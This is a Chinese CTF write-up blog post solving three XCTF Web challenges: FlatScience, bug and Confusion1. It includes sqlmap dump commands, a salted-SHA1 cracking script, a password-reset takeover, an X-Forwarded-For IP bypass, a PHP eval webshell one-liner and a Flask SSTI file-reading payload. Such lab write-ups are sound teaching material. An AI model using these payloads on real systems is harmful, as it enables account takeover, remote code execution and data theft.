攻防世界题目练习——Web引导模式(五)(持续更新)

news2024/11/20 4:18:31

题目目录

    • 1. FlatScience
    • 2. bug
    • 3. Confusion1

1. FlatScience

参考博客:
攻防世界web进阶区FlatScience详解
题目点进去如图,点击链接只能看到一些论文pdf
在这里插入图片描述
用dirsearch和御剑扫描出一些隐藏文件:
在这里插入图片描述
在这里插入图片描述
robots.txt:
在这里插入图片描述
admin.php:
在这里插入图片描述
login.php:
在这里插入图片描述
f12查看源码:
admin.php提示无法绕过:
在这里插入图片描述
login.php提示调试参数:
根据参考博客:
攻防世界-FlatScience
知道这里的提示指的是“在页面传入一个debug参数”
在这里插入图片描述
查看源码如图:
在这里插入图片描述
根据源码可以看到,密码在后面拼接上"Salz!"后进行sha1加密。

于是随便提交用户名密码提交抓包,把包复制进sql.txt用sqlmap跑一下,发现参数user存在sql注入:

python sqlmap.py -r sql.txt --batch

在这里插入图片描述
尝试跑数据库:
python sqlmap.py -r sql.txt --batch --dbs
提示说SQLite数据库不能列数据库,只能列表:
在这里插入图片描述
于是:

python sqlmap.py -r sql.txt --batch --tables

在这里插入图片描述

python sqlmap.py -r sql.txt --batch -T Users --columns

在这里插入图片描述

python sqlmap.py -r sql.txt --batch -T Users -C name,password --dump

可以看到密码是sha1加密:
在这里插入图片描述
根据第一篇参考博客说密码可能和pdf有关

脚本参考:
[CTF题目总结-web篇]攻防世界:flatscience

如何发现密码与pdf有关有关:
攻防世界-FlatScience
查看数据库的hint字段:
在这里插入图片描述
首先爬取所有pdf文件:
get_pdf.py

# coding=gbk
import urllib.request
import re

allHtml = []
count = 0
pat_pdf = re.compile("href=\"[0-9a-z]+.pdf\"")
pat_html = re.compile("href=\"[0-9]/index\.html\"")


def my_reptile(url_root, html):
    global pat_pdf
    global pat_html
    html = url_root + html

    if (isnew(html)):
        allHtml.append(html)

        print("[*]starting to crawl site:{}".format(html))
        with urllib.request.urlopen(html) as f:
            response = f.read().decode('utf-8')

        pdf_url = pat_pdf.findall(response)
        for p in pdf_url:
            p = p[6:len(p) - 1]
            download_pdf(html + p)

        html_url = pat_html.findall(response)
        for h in html_url:
            h = h[6:len(h) - 11]
            my_reptile(html, h)


def download_pdf(pdf):
    global count

    fd = open(str(count) + '.pdf', 'wb')
    count += 1

    print("[+]downloading pdf from site:{}".format(pdf))
    with urllib.request.urlopen(pdf) as f:
        fd.write(f.read())
    fd.close()


def isnew(html):
    global allHtml
    for h in allHtml:
        if (html == h):
            return False
    return True


if __name__ == "__main__":
    my_reptile("http://61.147.171.105:60027/", '')

然后提取pdf的内容保存至txt文件:
安装pdfminer模块:
Python模块安装:Python3安装pdfminer3k
模块使用:
Python 第三方模块之 PDFMiner(pdf信息提取)

pip install pdfminer3k

pdf2txt.py

from pdfminer.pdfparser import PDFParser, PDFDocument
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFTextExtractionNotAllowed
import os


def pdf2txt(pdfFile, txtFile):
    print('[+]converting {} to {}'.format(pdfFile, txtFile))

    fd_txt = open(txtFile, 'w', encoding='utf-8')
    fd_pdf = open(pdfFile, 'rb')

    parser = PDFParser(fd_pdf)
    doc = PDFDocument()
    parser.set_document(doc)
    doc.set_parser(parser)
    doc.initialize()

    manager = PDFResourceManager()
    laParams = LAParams()
    device = PDFPageAggregator(manager, laparams=laParams)
    interpreter = PDFPageInterpreter(manager, device)

    for page in doc.get_pages():
        interpreter.process_page(page)
        layout = device.get_result()

        for x in layout:
            if (isinstance(x, LTTextBoxHorizontal)):
                fd_txt.write(x.get_text())
                fd_txt.write('\n')
    fd_pdf.close()
    fd_txt.close()
    print('[-]finished')


def crazyWork():
    print('[*]starting my crazy work')
    files = []
    for f in os.listdir():
        if (f.endswith('.pdf')):
            files.append(f[0:len(f) - 4])

    for f in files:
        pdf2txt(f + '.pdf', f + '.txt')


if __name__ == '__main__':
    crazyWork()

sha1_passwd_search.py

import os
import hashlib


def searchPassword():
    print('[*]starting to search the word')
    for file in os.listdir():
        if (file.endswith('.txt')):
            print('[+]searching {}'.format(file))
            with open(file, 'r', encoding='utf-8') as f:
                for line in f:
                    words = line.split(' ')
                    for word in words:
                        if (hashlib.sha1(
                            (word + 'Salz!').encode('utf-8')).hexdigest() ==
                                '3fab54a50e770d830c0416df817567662a9dc85c'):
                            print('[@]haha,i find it:{}'.format(word))
                            exit()


if __name__ == '__main__':
    searchPassword()

在这里插入图片描述
用这个密码登录admin.php,获得flag:
在这里插入图片描述

2. bug

进入题目,如图:
在这里插入图片描述
没有头绪,御剑扫出来的config.php和core.php都无法直接访问看到内容,f12也看不到源码,也不存在robots.txt文件:
在这里插入图片描述
先注册一个账号试试:
在这里插入图片描述
注册成功:
在这里插入图片描述
试一试findpwd:
在这里插入图片描述
提示错误:
在这里插入图片描述
猜测可能是因为权限不够?
登录看看:
在这里插入图片描述
用户不存在,奇怪,这应该就是题目的"bug"吧。
查看注册后的response:
在这里插入图片描述
注意到一行代码window.history.go(-1),搜了一下看看:
vue中使用history.go(-1)和history.back()两种返回上一页的区别
博客里指出,
go(-1):原页面表单中的内容会丢失;
history.go(-1):后退+刷新
也就是说 window.history.go(-1)导致原来注册的表单的注册信息内容丢失。

然后就没有头绪了,搜搜解析吧 ^ ^

【愚公系列】2023年06月 攻防世界-Web(bug)
【攻防世界WEB】难度五星15分进阶题:bug
原来findpwd是找回密码的意思啊T_T
根据参考博客,【注册】和【找回密码】涉及到的知识点是越权。
重新注册后登录成功:
在这里插入图片描述
修改密码时要求长度大于等于6:
在这里插入图片描述
报文如图:
在这里插入图片描述
重新进入登陆页面,直接更改abc的密码,这个忘记密码是不需要原密码的,并且一开始用出生日期验证身份后,在修改密码的表单中只提交了用户名与新密码,cookie中也没有对身份的认证,就可以修改用户名为admin来实现修改admin的密码:
在这里插入图片描述
在这里插入图片描述
用该密码可以成功登录admin账户:
在这里插入图片描述
想点击Manage的时候,弹出提示说ip不允许:
在这里插入图片描述
于是更改ip,抓包修改X-Forwarded-For:127.0.0.1本地访问。
参考文章:
【愚公系列】2023年06月 攻防世界-Web(bug)
【攻防世界WEB】难度五星15分进阶题:bug
X-Forwarded-For绕过服务器IP地址过滤
HTTP 请求头中的 X-Forwarded-For
X-Forwarded-For用来表示 HTTP 请求端真实 IP。
在这里插入图片描述
可以看到成功进入manager页面:
在这里插入图片描述
页面里什么都没有,f12打开源码看看:
在这里插入图片描述

index.php?module=filemanage&do=???

根据博客【攻防世界WEB】难度五星15分进阶题:bug的讲解,这里主要要注意的是【filemanage,文件管理】,这是一个提示,一般涉及到文件管理能够利用的就是文件上传,所以这里考虑do=upload
在这里插入图片描述
先随便上传一个图片马:
在这里插入图片描述
文件后缀仍为png,而返回报文提示仍检验出了是php文件,所以修改一下内容,改成短语句试试:
在这里插入图片描述
对php的检测消失了,并且提示”you know what i want“,外面的文件后缀已经是jpg了,也就是说文件内容需要有图片的内容,加上图片文件头试试:
在这里插入图片描述
不行,看来得用真正的图片,用二进制编辑工具在图片文件末尾加上这个短语句尝试:
在这里插入图片描述
还是这个提示,可能我理解错了,文件上传页面的标题是"just image?",也就是想要的不只是图片,可能要在文件后缀上试试改为php相关的。
在这里插入图片描述
文件后缀改为php或者pHp都是可以被识别出php的,改成php3不会但仍会出现提示”you know what i want“,不懂,再看看参考博客吧TT
【愚公系列】2023年06月 攻防世界-Web(bug)说本题考点是用javascript执行php代码,哎…

<script language="php"> @eval($_POST['1']); </script>

php3还不能被识别为php文件,需要php4或者php5,下次记得多试一下数字好了…
这个题文件后缀不能直接用php或者pHp,会提示说这是一个php文件,但是又需要后缀能够被识别为php文件,也就是要用不那么明显的php后缀但又必须能为识别为php的后缀。
在这里插入图片描述

3. Confusion1

参考博客:
xctf攻防世界 Web高手进阶区 Confusion1

题目如图:
在这里插入图片描述

一开始一通乱点,啥都没发现,点进了blue-whale.me都没发现已经不是题目的链接范围了…
所以只能在Home Login Register里尝试,Home就是初始页面,Login Register点开都显示not found,我还以为真不存在呢,原来要查看源码,遇事不决,查看源码!
在这里插入图片描述
果然在源码里看到里提示,应该是指出flag在/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt文件里,所以要想办法能查看到该文件,根据参考博客,这里应该是考察模板注入,但是我已经忘记了,去看看之前做的题复习一下=_=
打开页面可以看到/login.php这个路径是被回显出来了的,于是尝试在后面跟一个子路径/{{2+5}}看看回显结果,可以看到被执行了,因此确定存在模板注入:
在这里插入图片描述
接下来就是利用一些变量来查看,但我还是不太熟。
根据参考博客,下面这些payload中的关键词都被过滤了,

{{''.__class__.__mro__[2].__subclasses__()}}
{{url_for.__globals__}}

于是尝试用__getattribute__('__'+'cla'+'ss'+'__')这种来绕过,参考博客flask模板注入(ssti),一篇就够了,但是失败了,如下:
在这里插入图片描述
继续看博客xctf攻防世界 Web高手进阶区 Confusion1,用request.args.key传参:

/{{''[request.args.a]}}?a=__class__

/{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

在这里插入图片描述
学习一下:SSTI(模板注入)基础总结

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1313291.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

《人工智能导论》知识思维导图梳理【第7章节】

文章目录 说明专家系统机器学习机器学习定义工作流程模型评估机器学习分类在这里插入图片描述 机器学习部分md内容机器学习1 机器学习定义机器学习是从数据中自动分析获得模型&#xff0c;并利用模型对未知数据进行预测机器学习&#xff08;machine learning&#xff09;使计算…

美容店预约小程序搭建指南

随着互联网的发展&#xff0c;越来越多的传统行业开始尝试将业务与互联网相结合&#xff0c;以提供更加便捷、高效的服务。美容行业也不例外。本文将通过使用第三方制作平台&#xff0c;如乔拓云网&#xff0c;指导您如何搭建一个美观实用的美容店预约小程序&#xff0c;帮助您…

计算机网络:物理层(编码与调制)

今天又学会了一个知识&#xff0c;加油&#xff01; 目录 一、基带信号与宽带信号 1、基带信号 2、宽带信号 3、选择 4、关系 二、数字数据编码为数字信号 1、非归零编码【NRZ】 2、曼彻斯特编码 3、差分曼彻斯特编码 4、归零编码【RZ】 5、反向不归零编码【NRZI】 …

云计算 云原生

一、引言 云计算需要终端把信息上传到服务器&#xff0c;服务器处理后再返回给终端。在之前人手一台手机的情况下&#xff0c;云计算还是能handle得过来的。但是随着物联网的发展&#xff0c;什么东西都要联网&#xff0c;那数据可就多了去了&#xff0c;服务器处理不过来&…

绘图示例---QT手动调用绘图事件,按钮控制图片

效果&#xff1a; 点击 “移动” 图片向右移动20&#xff0c;点击 “西理win嘛” 图片每秒向右移动20 QQ录屏20231212164128 下面时代码详解&#xff1a; 注意使用UI和代码实现按钮的不同 UI: ui->pushButton->setGeometry(windowWidth-105, windowHeight-25, 100, 20);…

【分享】WinRAR解压缩软件的超详细使用攻略

WinRAR是一款常见的解压缩软件&#xff0c;它使用方便&#xff0c;界面友好&#xff0c;在压缩率和速度方面都有很好的表现。 除了解压缩功能&#xff0c;WinRAR还有很多好用的功能&#xff0c;今天小编就来分享一下&#xff0c;WinRAR几个常用功能的具体使用方法。 1. 解压缩…

1.7 实战:Postman请求Post接口-登录

上一小节我们实战了使用Postman请求Get接口。本小节我们来使用Postman请求Post接口。 我们来测试一下登录,之前已经创建好了Collections。我们选择登录页下的登录这个请求。地址也是跟之前一样,我们打开校园二手交易系统,打开浏览器开发者工具,输入用户名和密码,点击登录…

【ET8框架入门】0.ET框架介绍

ET8 新特性 多线程多进程架构,架构更加灵活强大&#xff0c;多线程设计详细内容请看多线程设计课程抽象出纤程(Fiber)的概念&#xff0c;类似erlang的进程&#xff0c;非常轻松的创建多个纤程&#xff0c;利用多核&#xff0c;仍然是单线程开发的体验纤程调度: 主线程&#xf…

语义分割和数据集

语义分割和数据集 参考:https://zh.d2l.ai/chapter_computer-vision/semantic-segmentation-and-dataset.html 语义分割可以理解为识别并理解图像重每一个像素的内容 计算机视觉领域还有2个和语义分割相似的问题&#xff0c;即图像分割和实例分割 图像分割将图像划分为若干组…

基于物理的AlGaN/GaN HEMT器件2DEG电荷密度分析模型(文献阅读)

标题&#xff1a;A Physics-Based Analytical Model for 2DEG Charge Density in AlGaN/GaN HEMT Devices (IEEE TRANSACTIONS ON ELECTRON DEVICES) 重要公式 2DEG电荷密度建模的困难源于量子阱中Ef随ns的复杂变化。此关系由给出 n s D V t h [ l n ( l e E f − E 0 V t …

Leetcode 455 分发饼干

题意理解&#xff1a; 小孩的饭量&#xff1a; [1,2,7,10] 饼的大小&#xff1a; [1,3,5,7] 当饼的大小>小孩饭量时&#xff0c;小孩就能够吃饱。 求如何分配饼让更多的小孩子能够吃饱。 解题思路&#xff1a; 两种思路&#xff1a; 先把胃口小的孩子用较小的饼来喂饱—…

Oracle MongoDB

听课的时候第一次碰到&#xff0c;可以了解一下吧&#xff0c;就直接开了墨者学院的靶场 #oracle数据库 Oracle数据库注入全方位利用 - 先知社区 这篇写的真的很好 1.判断注入点 当时找了半天没找到 看样子是找到了&#xff0c;测试一下看看 id1 and 11 时没有报错 2.判断字段…

网络基础2

三层交换机&#xff1a;路由器交换机 创建vlan 配置0/0/2串口为vlan2&#xff0c;3接口为vlan3 三层交换机的串口是不能直接配置地址&#xff0c;要在虚拟接口&#xff08;vlan的接口&#xff09;配置IP地址 配置vlan1的虚拟接口 此时vlan1的主机能ping通三层交换机串口1的地址…

【Linux】dump命令使用

dump命令 dump命令用于备份文件系统。使用dump命令可以检查ext2/3/4文件系统上的文件&#xff0c;并确定哪些文件需要备份。这些文件复制到指定的磁盘、磁带或其他存储介质保管。 语法 dump [选项] [目录|文件系统] bash: dump: 未找到命令... 安装dump yum -y install …

yolov8实战第二天——yolov8训练结果分析(保姆式解读)

yolov8实战第一天——yolov8部署并训练自己的数据集&#xff08;保姆式教程&#xff09;-CSDN博客 我们在上一篇文章训练了一个老鼠的yolov8检测模型&#xff0c;训练结果如下图&#xff0c;接下来我们就详细解析下面几张图。 一、混淆矩阵 正确挑选&#xff08;正确&#…

后端打印不了trace等级的日志?-SpringBoot日志打印-Slf4j

在调用log变量的方法来输出日志时&#xff0c;有以上5个级别对应的方法&#xff0c;从不太重要&#xff0c;到非常重要 调用不同的方法&#xff0c;就会输出不同级别的日志。 trace&#xff1a;跟踪信息debug&#xff1a;调试信息info&#xff1a;一般信息warn&#xff1a;警告…

【UE5.2】从零开始控制角色移动、游泳、下潜、上浮

目录 效果 步骤 一、项目准备 二、控制角色移动 三、控制角色游泳 四、实现角色潜水、上浮 五、解决在水面上浮的Bug 效果 步骤 一、项目准备 1. 新建一个空白工程&#xff0c;创建一个Basic关卡&#xff0c;添加第三人称游戏资源到内容浏览器 2. 在插件中启用“W…

浅显易懂 @JsonIgnore 的作用

1.JsonIgnore作用   在json序列化/反序列化时将java bean中使用了该注解的属性忽略掉 2.这个注解可以用在类/属性上   例如&#xff1a;在返回user对象时&#xff0c;在pwd属性上使用这个注解&#xff0c;返回user对象时会直接去掉pwd这个字段&#xff0c;不管这个属性有没…

bat 脚本的常用特殊符号

1、 命令行回显屏蔽符 2、% 批处理变量引导符 3、> 重定向符 4、>> 重定向符 5、<、>&、<& 重定向符 6、| 命令管道符 7、^ 转义字符 8、& 组合命令 9、&& 组合命令 10、|| 组合命令 11、"" 字符串界定符 12、, 逗号…

iPhone手机中备忘录如何改变字体颜色

作为一名iPhone用户&#xff0c;我经常使用手机备忘录来记录生活中的点点滴滴。这样&#xff0c;我的大脑就能从繁琐的记忆任务中解脱出来&#xff0c;专注于更重要的事情。 而且&#xff0c;我有一个特别的习惯&#xff0c;那就是使用不同颜色的字体来区分不同的备忘录。这样…